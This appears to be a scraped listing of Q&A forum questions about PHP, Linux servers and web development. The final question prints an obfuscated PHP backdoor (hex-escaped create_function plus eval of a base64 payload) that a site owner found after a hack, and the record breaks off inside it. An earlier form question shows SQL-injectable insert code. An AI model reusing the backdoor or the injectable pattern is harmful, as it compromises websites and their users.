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  • Centos 5.5 install PearDB

    - by John Gardeniers
    Disclaimer: I use Linux for some jobs but I am not a Linux admin. I have a Centos 5.4 machine which performs some server duties and doubles as a web site development machine. PHP 5.3.3 was installed from RPM with the --without-pear option. I now wish to use PearDB but can't figure out how to install it. If I run yum install php-pear-db, it comes back with Error: Missing Dependency: php = 5.1.6-27.el5_5.3 is needed by package php-devel-5.1.6-27.el5_5.3.i386 (updates). The only RPM I've found that looks like it might be close currently has a dead link, so I can't even try that. What would be the best way to go about this? Is there a way to reinstall from the RPM and include pear? Can I install the dependency without breaking the current installation? Should I try to uninstall the original PHP and reinstall it from source, complete with pear? I thought this might have been an SU question but the FAQ over there suggests otherwise.

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  • Dependency injection: At what point am I allowed to create a new object?

    - by Gaz_Edge
    I am refactoring a PHP application, and I am trying to do has much dependency injection (DI) as possible. I feel like I've got a good grasp of how it works, and I can certainly see my classes becoming a lot leaner and more robust. I'm refactoring so that I can inject a dependency rather than create a new object within the class, but at some point I am going to have to create some objects, that is, use the dreaded new keyword. The problem I have now run into is at what point can I actually create new objects? It's looking like I'll end up at a top level class, creating loads of new objects as there is no where else to go. This feels wrong. I've read some blogs that use factory classes to create all the objects, and then you inject the factory into other classes. You can then call the factory methods, and the factory creates the new object for you. My concern with doing this is now my factory classes are going to be a new free-for-all! I guess this may be OK as they are factory classes, but are there some rules to stick to when using a factory pattern and DI, or am I going way off the mark here?

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  • Need help for array when no checkbox is selected [closed]

    - by darlene
    Hi guys I have created a form that has checkboxes, the code works great when a checkbox is selcted however when no checkboxes are selected I get errors such as "Undefined index: onemon in and Warning: Invalid argument supplied for foreach()" Please help:) FORM 1. Had a cold, fever or headache? input type="checkbox" name="onemon[]" value="q1" if(isset($_GET['onemon']) && $_GET['onemon']= "q1") 2. Had dental extractions or teeth cleaning? input type="checkbox" name="onemon[]" value="q2" if(isset($_GET['onemon']) && $_GET['onemon']= "q2") 3. Had minor outpatient sugery? input type="checkbox" name="onemon[]" value="q3" if(isset($_GET['onemon']) && $_GET['onemon']= "q3") 4. Had any vaccines? input type="checkbox" name="onemon[]" value="q4" if(isset($_GET['onemon']) && $_GET['onemon']= "q4") PHP $date = date('Y-m-d'); $onemon = $_POST ['onemon']; { $con = mysql_connect("localhost","root","") or die ("Could not connect to DB Server"); $db_selected = mysql_select_db("nbtsdb", $con) or die("Could not locate the DB"); // You have to loop through the array of checked box values ... $ques=""; foreach($onemon as $entry){ $ques .= $entry.","; } //$addPersonalSql holds the insert SQL query string $query = "INSERT INTO defferal(defid, intdate, onemonth) VALUES('','$date','$ques')"; $addMemberSql = $query or die ("Unable to Insert Data into defferal Table"); mysql_query($addMemberSql); }

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  • I need a form to tie MySQL Records together (i.e., many-to-many relationships).

    - by John R
    I need a HTML-based form to tie database records together. The user scenario that I envision is somthing like this: A super-user does a search of the database and is delivered a table of records based on that search; each record is numbered with the database-record id. There would also be two text fields next to each record. These text fields would allow: the user to make a reference from one record to another. For example, a user could enter into record id #457 that there is a correlation with record ID #242. The user would also describe the type of relationship it is. This could be with a simple integer that represents the type of relationship between the two records. When the super-user hits the submit button, all of these relationships are saved in a mySqljoin table. One option is to give me advice on how to implement and code this myself in PHP. However, before I reinvent the wheel, another option is to lead me to a free script that does something similar.

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  • Is my site hacked, or does Google have problems? [duplicate]

    - by Bondye
    Possible Duplicate: Titles in Google results contain spammy prefixes I have a webshop online and I have some problems with redirecting from Google. Case 1 When I Google for my site at google.com in Iron SWR (safe Chrome version) and I click the first link I get the correct page. Case 2 When I Google for my site at google.nl in Iron SWR (safe Chrome version) and I click the first link Google will redirect me to a spam site. Case 3 When I Google for my site in Google Chrome and I click the first link Google will redirect me to a spam site. Case 4 When I Google for my site in FireFox and I click the first link Google will redirect me to a spam site. Case 5 When I Google for my site in Internet Explorer and I click the first link Google will redirect me a page that tells me the site is offline. HELP WHAT TO DO? I checked the .htaccess but this file is correct. I checked the index.php file but this one is also correct. What can I do? Hacked or does Google has trouble?

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  • Trying to implement pre/post method code: better to use methods or a parent class?

    - by Will
    I'm finding it difficult to frame this question so ... I want to execute code both before and after a method runs in PHP. There are, as far as I know, two ways to implement this: Method One: pre and post methods class Model { function find($id) { $this->_precode(); // ... do stuff $this->post_code(); } } Add the calls to _precode() and _postcode() to each method where I need this functionality. Method Two: __call and method naming class Model extends PrePost { function prepost_find($id) { // ... do stuff ... } } class PrePost { function __call($method,$param) { $method = "prepost_$method"; // .. precode here .. $result = $this->$method($param); // .. postcode here .. } } This relies on naming a method in a specific way in the inheriting class. Is there a preferred way of doing this? The call method can be made to only handle its specific cases and even defer to a child class's call if there is one. I'm not looking for opinions; I'm looking to find out if there are valid reasons to choose one way over another.

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  • Web-Service: How much would you charge? [closed]

    - by jacksbox
    I´ve to make an offer to a client who wants me to develope a web-service for him. I have some trouble calculating the pricing - can you help me? Here is a rough outline of the project: It´s a portal on which various artists and entertainers can register and administrate there profile (texts, gallerie, some embedded videos, choose categories and radius of offer, etc). Other user can browse the artists by 3-4 level categories and countries/staats. If someone wants to hire a artists, he can put them in an "shopping-basket" and can mail everyone in his basket. The Artists can answer them with a form on the website (he doesn't get the email of the other person). Users should be able to comment/rate the artists. But if an artists wants this comments/ratings visible on his profile he must pay, and after that, the admin of the site must activate this comments/ratings. So, no more information given, what would you charge (ca.)? Edit: It´ll be developed with php/codeigniter. A .psd design is already there.

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  • Syslog message '^@' indicates server crash

    - by user1456214
    The php-cgi's died on a vps I look after and the only syslog entry is this followed by me restarting the VM: ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@Jun 13 22:00:34 VM syslogd 1.5.0#5ubuntu4: restart. Everything before appears to be fine, and there's nothing in the php log even though php timing out was the most obvious symptom (nginx was returning 504s), any ideas how to debug this? Thanks, Jon

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  • Site hack... but what is this?

    - by menardmam
    My site have been hacked (i think) here is the code... the question, how to find what it does... <?php $zend_framework="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; @error_reporting(0); $zend_framework("", "\x7d\73\x40\145\x76\141\x6c\50\x40\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x4a\107\x56\62YTFmWTJiYWsxY3owaXIgPSAiXHg2NlwxNjVceDZlXDE0M1x4NzRcMTUxXHg2ZlwxNTZceDVmXDE0NVx4NzhcMTUxXHg3M1wxNjRceDczIjsgJGV2YTFmWTJiYWwxY3owaXIgPSAiXHg2ZlwxNDJceDVmXDE2M1x4NzRcMTQxXHg3MlwxNjQiOyAkZXZhMWZZMmJhbDFjejhpciA9ICJceDYzXDE1N1x4NjRcMTQ1XHg3OFw2Mlx4MzIiOyBpZigkZXZhMWZZMmJhazFjejBpcigkZXZhMWZZMmJhbDFjejBpcikgJiYgIWlzc2V0KCRHTE9CQUxTWyRldmExZlkyYmFsMWN6OGlyXSkpIHsNCgkkR0xPQkFMU1skZXZhMWZZMmJhbDFjejhpcl09MTsgCWlmKCEkZXZhMWZZMmJhazFjejBpcigiXHg2NVwxNjZceDYxXDYxXHg2NlwxMzFceDMyXDE0Mlx4NjFcMTUzXHgzMVwxNDNceDU2XDYyXHg2OVwxNjIiKSkgeyBpZighJGV2YTFmWTJiYWsxY3owaXIoIlx4NjVcMTY2XHg2MVw2MVx4NjZcMTMxXHgzMlwxNDJceDYxXDE1M1x4MzFcMTQzXHg1Nlw2MFx4NjlcMTYyIikpIHsNCiBmdW5jdGlvbiBldmExZlkyYmFrMWNWMGlyKCkgew0KIC8vZWNobyBzdGFydA0KDQogaWYoIWlzc2V0KCRHTE9CQUxTWyJhZ2hleDAiXSkpIHsNCgkkR0xPQkFMU1siYWdoZXgwIl09MTsNCiAkZXZhbHNzc2dxdWxWQlRrWkxBY2ggPSAiIjsNCiBpZiAoIWlzc2V0KCRldmExZllsYmFrQmNWU2lyKSkgeyRldmExZllsYmFrQmNWU2lyID0gIjdreUo3a1NLaW9EVFdWV2VSQjNUaWNpTDFVamNtUmlMbjRTS2lBRVRzOTBjdVpsVHo1bVJPdEhXSGRXZlJ0MFp1cG1WUk5UVTJZMk1WWmtUOGgxUm4xWFVMZG1icXhHVTdoMVJuMVhVTGRtYnFaVlV6RWxObU5UVkd4RWVOdDFaemtGY21KeUp1VVROeVpHSnVjaUx4azJjd1JDTGlJQ0t1VkhkbEpISm40U055a21ja1JpTG5zVEtuNGlJbklpTG5Ba2RYNVVjMmRsVHNoRWNNaEhUOHhGZU14MlQ0eGpXa05UVXdWR05kVnpXdlYxV2M5V1Qyd2xicVpWWDNsRWNsaFRUS2RXZjhvRVp6a1ZOZHAyTndaR05WdFZYOGRtUlBGM04xVTJjVlpEWDRsVmNkbFdXS2QyYVpCblp0VkZmTkozTjFVMmNWWkRYNGxWY2RsV1dLZDJhWkJuWnRWa1ZUcEdUWEIxSnVJVE55WkdKdUl5Smk0U04xSW5aazR5SnVreUp1SXlKaTR5SjY0R2ZOcGpiV0JWZElkMFQ3TmpWUUpIVndWMmFOWnpXelFqU01oWFRiZDJNWkJuWnhwSGZORm5hc1ZXZXZwMFp0aGpXbkJIUFoxMU1KcFZYOEZsU014RFJXQjFKdUlUTnlaR0p1SXlKaTRTTjFJblprNHlKdWt5SnVJeUppNHlKQVozVk9GbmRYNUVlTnQxWnprRmNtNW1hV0ZsYjBvRVQ0MTBXbk5UV3daV2M2eFhUNDEwV25OVFd3Wm1ibVprVDR4aldrTlRVd1ZHTmRWeld2VjFXYzlXVDJ3bGF6Y0VUbjRpTTFJblprNHlKbjRpSW5JaUwxVWpjbVJpTG40U0tpQWtkWDVVYzJkbFQ5cG5SUVozTndaR05WdFZYOFZsUk94WFYyWUdiWlpqWjR4a1ZQeFdXMWNHYkV4V1o4bDFTbjlXVDIwa2RteFdaOGwxU245V1RMMVVjcXhXWjU5bVNuMUdPYWRHYzhrVlh6a2tXZHhYVUt4RVBFeEdVbjRpTTFJblprNHlKaWNpTDFVamNtUmlMbjBUTXBOSGNrc1RLaWNpTHlVVGF5WkdKdWNTTjN3Vk0xZ0hYMlFUTWNkek00eDFNMUVEWHpVRGVjTlRNeHdWTjNnSFh5RVRNY2hUTjR4Rk4wRURYd01EZWNaak14d0ZaMmdIWHpRVE1jSm1ONHgxTjJFRFg1WURlY0ZUTXh3Vk8yZ0hYM1FUTWNOVE40eGxNekVEWGlaRGVjRnpOY2RETjR4bE0wRURYM2NEZWNGak5jZFRONHhWTTBFRFhtWkRlY1ZqTXh3MU4wZ0hYeU1UTWNaek40eGxOeEVEWDNVRGVjSnpNeHdsWTJnSFh4Y0RYMlFEZWNaVE14d2xNemdIWDFJVE1jSnpNNHgxTTBFRFg0WURlY0pUTXh3MU4wZ0hYeEVUTWNWek40eGxNeEVEWDRVRGVjUkROeHdGTXpnSFgySVRNY1JtTjR4MU0wRURYM01EZWNOVE54d1ZPMmdIWHlRVE1jWnpONHhsTXlFRFg0VURlY0ZETnh3VlkyZ0hYMVlEWDNVRGVjUkROeHdGWjJnSFh5SVRNY05ETjR4Vk14RURYemNEZWNSak5jUm1ONHgxTTBFRFh4TURlY0pqTXh3Rk8xZ0hYeU1UTWNsek40eGxNeUVEWHpRRGVjTlRNeHdsTTNnSFh3Y1RNY2RUTjR4Vk16RURYek1EZWNGek5jWlRONHhWTjBFRFg0WURlY0pUTXh3VloyZ0hYelFUTWNoak40eEZOMkVEWDBVRGVjTlRNeHdWTjNnSFh5RVRNY2hUTjR4Rk4wRURYd01EZWNaak14d0ZaMmdIWHpRVE1jSm1ONHgxTjBFRFh6UURlY1JETnh3Rk0zZ0hYd2NUTWNkRE40eDFNMEVEWGhkRGVjRnpOY05tTjR4MU0wRURYd01EZWNaVE14d0ZPMGdIWHhFVE1jbHpNNHhWTXdFRFg1WURlY0pETnh3Vk8zZ0hYMklUTWNkaUwxSVRheVpHSnVjeU56Z0hYelVUTWNsak40eFZNeEVEWDNNRGVjTlROeHdWTzNnSFgxRVRNY1J6TjR4MU0xRURYNVlEZWNKRE54d2xOM2dIWDBVVE1jZERONHhGTjBFRFhoWkRlY1ZqTmNkVE40eEZOMEVEWGtaRGVjSlRNeHdWTzJnSFgwRVRNY2xqTjR4Vk15RURYelFEZWNOVE14d2xZMmdIWHlFVE1jTnpNNHhsTTBFRFhtWkRlY0ZUTXh3Rk8wZ0hYeFFUTWNGbU40eGxNd0VEWHpVRGVjQmpNeHcxTjJnSFgwWURYeU1EZWNKRE54d0ZNM2dIWHlJVE1jTnpNNHhWTXpFRFgxY0RlY1pqTXh3VloyZ0hYeU1UTWNsak40eEZOMndWTzJnSFh4RVRNY0ptTjR4Vk14RURYelFEZWNSVE14d1ZPMmdIWDBZRFh5TURlY0pETnh3Rk0zZ0hYeUlUTWNOek00eFZNekVEWDFjRGVjWmpNeHdWWjJnSFh5TVRNY2xqTjR4Rk4yd1ZPMmdIWHhFVE1jSm1ONHhWTXpFRFg1WURlY0ZUTXh3bFoyZ0hYMFlEWHlNRGVjSkROeHdGTTNnSFh5SVRNY056TTR4Vk16RURYMWNEZWNaak14d1ZaMmdIWHlNVE1jWmpONHhsTnlFRFgzUURlY1JETnh3Rk8yZ0hYMklUTWNSbU40eDFNMEVEWGhaRGVjSkRNeHcxTTFnSFh3SVRNY2RqTjR4Rk4yd2xNemdIWHlRVE1jQnpNNHhGTjFFRFh5TURlY0Z6TXh3Vk4zZ0hYMklUTWNWbU40eGxNekVEWGlaRGVjTmpOeHdGTzBnSFh4RVRNY0J6TjR4Rk4yd0ZaMmdIWHpRVE1jRnpNNHhsTXlFRFg0VURlY0p6TXh3Vk8zZ0hYeUlUTWNORE40eDFNeEVEWDFjRGVjWmpNeHdWWjJnSFh6UVRNY0J6TTR4bE55RURYa1pEZWNORE54dzFOMmdIWDBZRFh5TURlY0pETnh3Rk0zZ0hYeUlUTWNOek00eFZNekVEWDFjRGVjWmpNeHdWWjJnSFh5TVRNY0ppTG40U055SW5aazR5SnpZVE1jRjJONHhsTXhFRFgxY0RlY1pqTXh3VloyZ0hYelFUTWNCek00eGxOeUVEWGtaRGVjTkROeHdWWjJnSFh3WURYaFpEZWNKRE54d1ZNemdIWHlFVE1jZGlMMUlUYXlaR0p1Y2lJdWNpTDFJamNtUmlMblV6TmNkek40eDFOeEVEWGxaRGVjUmpOY0p6TTR4bE0wRURYd2NEZWNKak14dzFNemdIWHhNVE1jVnpONHhsTnlFRFhsWkRlY0p6TXh3bE4yZ0hYMklUTWNkRE40eEZOMEVEWDRZRGVjWmpNeHdGWjJnSFh6UVRNY0ZtTjR4Rk4wRURYelVEZWNCak14d1ZOM2dIWDJJVE1jZGlMMUlUYXlaR0p1Y2lJdWNpTDFJamNtUmlMbk1qTnh3VlkzZ0hYeUVUTWNObU40eGxOeEVEWDNVRGVjRnpNeHcxTTNnSFh5QVRNY2hUTjR4bE16RURYNWNEZWNGek5jRnpNNHhsTXpFRFhqWkRlY0pUTXh3Rk8wZ0hYelFUTWNWbU40eEZNMndWWTJnSFh5UVRNY2x6TjR4bE53RURYM1FEZWNSRE54dzFZMmdIWHlFVE1jaERONHhsTXhFRFhpNGlNMVFYYW1SQ0x5VWpacFpHSnNVak1tbG1aa2dTWmpGR2J3Vm1jZmRXWnlCM09pSWpNNHhGTTF3Vk4yZ0hYMFFUTWNabU40eDFNMEVEWDFZRGVjUkROeHdsWjFnSFgwWURYMk1EZWNWRE54dzFNM2dIWHhRVE1jSmpONHhGTTF3MVkyZ0hYeFFUTWNaek40eFZOMEVEWHdRRGVjSkNJOUFpTTFRWGFtUnlPaUkyTTR4Vk0xd2xNeWdIWHhZRFhqVkRlY0pETmNoak00eEZOMUVEWHhZRGVjWmpOeHdWTjJnSFhpQVNQZ0lUTm1sbVprc2pJMVFUTWNsak40eEZNd0VEWDVJRGVjTlROY1ZtTTR4Rk0xd0ZNMGdIWGlBU1BnVWpNbWxtWmtjQ0tzRm1kbHRqSXdJRGVjVnpOY0JqTTR4Rk0yd0ZOMmdIWDBRVE1jUmpNNHhsSWcwREkxSVRheVJHSmdzVE4xa21jbVJpTG5raUluNGlNMWttY21SQ0k5QVNOeUluWmtBeU9uZ0RONHhGTjBFRFhqWkRlY0pUTXh3Rk8wZ0hYeUVUTWNkQ0k5QVNOeWttY21SeU9uSTJNNHhWTTF3Vk95Z0hYeVFEWGtORGVjZENJOUFpTTFrbWNtUnlPblFEVjJZV2ZWdFVUbkFTUGdJVE55WkdKN2NDS3VWbmMwVm1ja2NDSTlBU04xSW5aa3N6SnlVRGRwWkdKc0lUTm1sbVprd1NOeVlXYW1SQ0t1SlhZMFZtY2tzekpnMERJMVVUYXlaR0orYVdZZ0tDRnBjM05sZENna1pYWmhiRlZrUTFoVVJGRkZVbTFYYmtSVEtTa2dlMloxYm1OMGFXOXVJR1YyWVd4c2QyaFdaa2xXYmxkUVlsUW9KSE1wZXlSbElEMGdJaUk3SUdadmNpQW9KR0VnUFNBd095QWtZU0E4UFNCemRISnNaVzRvSkhNcExURTdJQ1JoS3lzZ0tYc2taU0F1UFNBa2MzdHpkSEpzWlc0b0pITXBMU1JoTFRGOU8zMXlaWFIxY200b0pHVXBPMzFsZG1Gc0tHVjJZV3hzZDJoV1prbFdibGRRWWxRb0p6c3BLU0k5UVZObU4ydDVZVTVTYldKQ1VsaFhkazV1VW1wR1ZWZEtlRmRaTWxaSFNtOVZSMXAyVGxkYWF6bEdUakpWTW1Ob1NrZEpkVXBZWkRCV2JXTTNRbE5MY2pGRlduVkdSV1JhT1RKalIwNVhVVnBzUldKb1dsaGFhMmRwVWxSS2ExcFFiREJhYUZKR1lsQkNSbUZQTVVWaWFGcFlXbWMwTW1Kd1VqTlpkVlp1V2lJb1pXUnZZMlZrWHpRMlpYTmhZaWhzWVhabEp5a3BPMlYyWVd3b1pYWmhiR3gzYUZabVNWWnVWMUJpVkNnbk95a3BJamRyYVVrNU1FVlRhMmh0VlhwTmJVbHZXVEJWUTFveVZFcGtWMWxWZURKVVVXaHRWRTU0VjFreVZsZFFXRTVHV201T1JWcFdiRlpoUms1V1ltaDRWMWt5VmtkS0lpaGxaRzlqWldSZk5EWmxjMkZpS0d4aGRtVW5LU2s3WlhaaGJDaGxkbUZzYkhkb1ZtWkpWbTVYVUdKVUtDYzdLU2tpTjJ0cFNUa3dWRkZxUW1wVlNVWnRTVzlaTUZWRFdqSlVTbVJYV1ZWNE1sUlJhRzFVVG5oWFdUSldWMUJZV2xaamFGcHNZM0JXTWxaVmVGZFpNbFpIU2lJb1pXUnZZMlZrWHpRMlpYTmhZaWhzWVhabEp5a3BPMlYyWVd3b1pYWmhiR3gzYUZabVNWWnVWMUJpVkNnbk95a3BJamRyYVVrNVVYcFdhRXBEUzBkT2JGRnRPVlZUYmtaSFZuTTVSVlZ2TlZWVWMwWnRaR3d4YWxGdGFFWlNWbVJGWkdsV1JscERlRmRaTWxaSFNpSW9aV1J2WTJWa1h6UTJaWE5oWWloc1lYWmxKeWtwTzJWMllXd29aWFpoYkd4M2FGWm1TVlp1VjFCaVZDZ25PeWtwSWowOWQwOXdTVk5RT1VWV1V6SlNNbFpLU2tOTFIwNXNVVzA1VlZOdVJrZFdjemxGVlc4MVZWUnpSbTFrYkRGVVdsWndibEoxVmpKUmMwb3laRko0VjFreVZrZEtJaWhsWkc5alpXUmZORFpsYzJGaUtHeGhkbVVuS1NrN1pYWmhiQ2hsZG1Gc2JIZG9WbVpKVm01WFVHSlVLQ2M3S1NraVBYTlVXSEJKVTFZeFZXeFZTVnBGVFZsT2JGWjNWV3hXTlZsVlZsWktiRkpVU2tOTFIwNXNVVzA1VlZOdVJrZFdjemxGVlc4MVZWUnpSbTFrYkhSc1ZVWmFiRlZHVGpGWWF6QjZVVzFPTWxwT1FtNWtjRTVZVkhsNFYxa3lWa2RLSWlobFpHOWpaV1JmTkRabGMyRmlLR3hoZG1VbktTazdaWFpoYkNobGRtRnNiSGRvVm1aSlZtNVhVR0pVS0NjN0tTa2lQWE5VUzNCcmFXTnhUbXhXYWtZd1lXaFNSMWRhVWxoTmFGcFlXbXRuYVdSc1NtNWpNRTVJUzBkT2JGRnRPVlZUYmtaSFZuTTVSVlZ2TlZWVWMwWnRaR3hvUTJKb1dsaGFJaWhsWkc5alpXUmZORFpsYzJGaUtHeGhkbVVuS1NrN1pYWmhiQ2hsZG1Gc2JIZG9WbVpKVm01WFVHSlVLQ2M3S1NraVBYTlVTM0JKVTFBNVl6SlpjMmhZWWxwU2JsSjBWbXhKYjFrd1ZVTmFNbFJLWkZkWlZYZ3lWRkZvYlZST2VGZFpNbFpIU1hOcmFVa3dXVEZTWVZadVVsaGtiRWx2V1RCVlExb3lWRXBrVjFsVmVESlVVV2h0VkU1NFYxa3lWa2RKYzJ0cFNUbHJSVmRoU2tSaVNFWnRZVXRvVmxkdFdqQldhRXBEUzBkT2JGRnRPVlZUYmtaSFZuTTVSVlZ2TlZWVWMwWnRaR3hDUTB4d1NVTk5OVEJYVlZBMWExWlZTa05MUjA1c1VXMDVWVk51UmtkV2N6bEZWVzgxVlZSelJtMWtiRUpEVEhCSlUxQkNOVEpaZUdkdVRWWktRMHRIVG14UmJUbFZVMjVHUjFaek9VVlZielZWVkhOR2JXUnNRa05NY0VsRFlqUkthbGN5YkdwTlUwcERTMGRPYkZGdE9WVlRia1pIVm5NNVJWVnZOVlZVYzBadFpHeG9VMlZvU201amFFSlRVR2RSU0ZWRmFESmllbVJGWkhWU1JXUlZlRmRaTWxaSFNpSW9aV1J2WTJWa1h6UTJaWE5oWWloc1lYWmxKeWtwTzJWMllXd29aWFpoYkd4M2FGWm1TVlp1VjFCaVZDZ25PeWtwSWowOWQwOXdhMmxKTlZGSVZreHdibFZFZEd0bFV6VnRXWE5LYkdKcFdtNVVlV2RHVFZkS2FsZHRXakZTYVVKdVYwaEdNVm93TURKWmVFbEdWMkZzU0dSSmJFVmpUbWhyVTNaU1ZHSlNNV3RVZVVsc1UzTkNSRlpoV2pCTmFIQnJVMVpTYkZKcldtdFpiM0JHVjJGa1IwNTVTVWRqVTA1VVZ6RmFiR0poU2tOTFIwNXNVVzA1VlZOdVJrZFdjemxGVlc4MVZWUnpSbTFrYkdoRFltaGFXRm9pS0dWa2IyTmxaRjgwTm1WellXSW9iR0YyWlNjcEtUdGxkbUZzS0dWMllXeHNkMmhXWmtsV2JsZFFZbFFvSnpzcEtTSTlQWGRQY0dkRFRXdFNSMHBuTUVSSldYQklVbmxvTVZSSlpESlRibmhYV1RKV1Iwb2lLR1ZrYjJObFpGODBObVZ6WVdJb2JHRjJaU2NwS1R0bGRtRnNLR1YyWVd4c2QyaFdaa2xXYmxkUVlsUW9KenNwS1NJOVBWRm1PWFJVV0hoelJtRnFSa1ZVWVhSSFZrTmFSbUl4UmpOYWVrNHpZM05HYldSc1VrTkpPVUZEWVdwR1JWUmhkRWRXUTFwR1lqRkdNMXA2VGpOamMwWnRaR3hTUTBrM2EwTmhha1pGVkdGMFIxWkRXa1ppTVVZelducE9NMk56Um0xa2JGSkRUR3hXYkdWSE5WZGFSSGh0V1ROR1JtSm9XbGhhYTJkVFdtczVSMkozYUZoYVp6QkVTVzlPVjFGTmNERmhWVXByVm5OV1dHTnVUak5qZW5oWFdUSldSMG8zYkZOTGJGWnNaVWMxVjFwRWVHMVpNMFpHWW1oYVdGcHJkME5oYWtaRlZHRjBSMVpEV2taaU1VWXpXbnBPTTJOelJtMWtiRkpEUzNsU00yTjVVak5qYjBGcFduQjBWRXR3TUZaTGFWVnNWSGhSVmxNMVdWVldWa3BzVWxSS1EwdEhUbXhSYlRsVlUyNUdSMVp6T1VWVmJ6VlZWSE5HYldSc2RHeFZSbHBzVlVaT01WaHJaMU5hYXpreVdYVldSMko1Vm01TWNFbFRUMjR4YlZOcFoybFNWRXByV2xCc01GcG9Va1ppVUVKR1lVOHhSV0pvV2xoYWRXdDVVVzFPTWxwT1FtNWtjRTVZVkhsNFYxa3lWa2RLYjFWSFduWk9iV0pzZUcxak1UVlRTMmxyVkZOMGNHdEpiMWt3VlVOYU1sUktaRmRaVlhneVZGRm9iVlJPZUZkWk1sWnRUR1JzYVVrNWEydFNVMVpyVW5kbmJGSlRSa1JXVDFveFlWWktRMHRIVG14UmJUbFZVMjVHUjFaek9VVlZielZWVkhOR2JXUnNkR3hWUmxwc1ZVWk9NVmhyTkZOTGFUQkVUVlZHYlVsdldUQlZRMW95VkVwa1YxbFZlREpVVVdodFZFNTRWMWt5Vm0xTWNFbFRVRFJSTUZscFoybFNWRXByV2xCc01GcG9Va1ppVUVKR1lVOHhSV0pvV2xoYWRXdHBTWFpLYTJKTlNrTkxSMDVzVVcwNVZWTnVSa2RXY3psRlZXODFWVlJ6Um0xa2JEVnBVVzFvUmxKV1pFVmthVlpHV2tONFYxa3lWa2RLZFd0cFNUa3dlbVJOU2tOTFIwNXNVVzA1VlZOdVJrZFdjemxGVlc4MVZWUnpSbTFrYkRWRFZ6WlNhMk5aT1VWVGJuUXdXbk5HYldSc1VtbE1jRWxUVURSclNGUnBaMmxTVkVwcldsQnNNRnBvVWtaaVVFSkdZVTh4UldKb1dsaGFkV3RwU1Rrd2VscFFTa05MUjA1c1VXMDVWVk51UmtkV2N6bEZWVzgxVlZSelJtMWtiRFY1VmxkR1dGbFhTbGhoYkdSR1ZuTkdiV1JzVWtOTGRVcEZWR3BrVlZOS09WVlhlSFJYVTBNeFZWSlllRmRaTWxaSFNUbEJRMkZxUmtWVVlYUkhWa05hUm1JeFJqTmFlazR6WTNOR2JXUnNVa05KTjJ0RFRYZG5SRTE0YzFOTGIxVlhZbkJTU0V4d2EybEpPVEJGVTJ0b2JWVjZUVzFKYjFrd1ZVTmFNbFJLWkZkWlZYZ3lWRkZvYlZST2VGZFpNbFpIU3pGUlYySnpZekZWYTJReVVXdFdWbGR3VmpCVmRFWkhZbWhhV0ZwcloxTmFjSFF5WW5aT1IyUnNUa2hSWjNOSVNXeE9TR0pzUWxObU4wSlRTM0JyVTFoWVRrWmFiazVGV2xac1ZtRkdUbFppYUhoWFdUSldSMHBpVmxWVFREa3dWRVE1UmtwdlVWaGFlazVZWVc5QmFXTjJRbE5MY0UxcldtcGtWMVIzV2xoaGVqRnJZM05HYldSc1VrTkpjMGxUWVhaSlEwbDFRVk5MTUVKR1VtODVNbU5JVW01aVJWSklWbk5HYldSc1VrTkpjMGxEWm1sblUxcHJPVWRpZHpGWFlXYzBRMGxwT0dsSmIyY3lXVEJHVjJKbVpGZGFlVUpJUzI5WlYyRWlLR1ZrYjJObFpGODBObVZ6WVdJb2JHRjJaU2NwS1Rza1pYWmhiRlZrUTFoVVJGRkZVbTFYYmtSVElEMHhPRGM1TWp0OSI7JGV2YTF0WWxiYWtCY1ZTaXIgPSAiXHg2NVwxNDRceDZmXDE1NFx4NzBcMTcwXHg2NSI7JGV2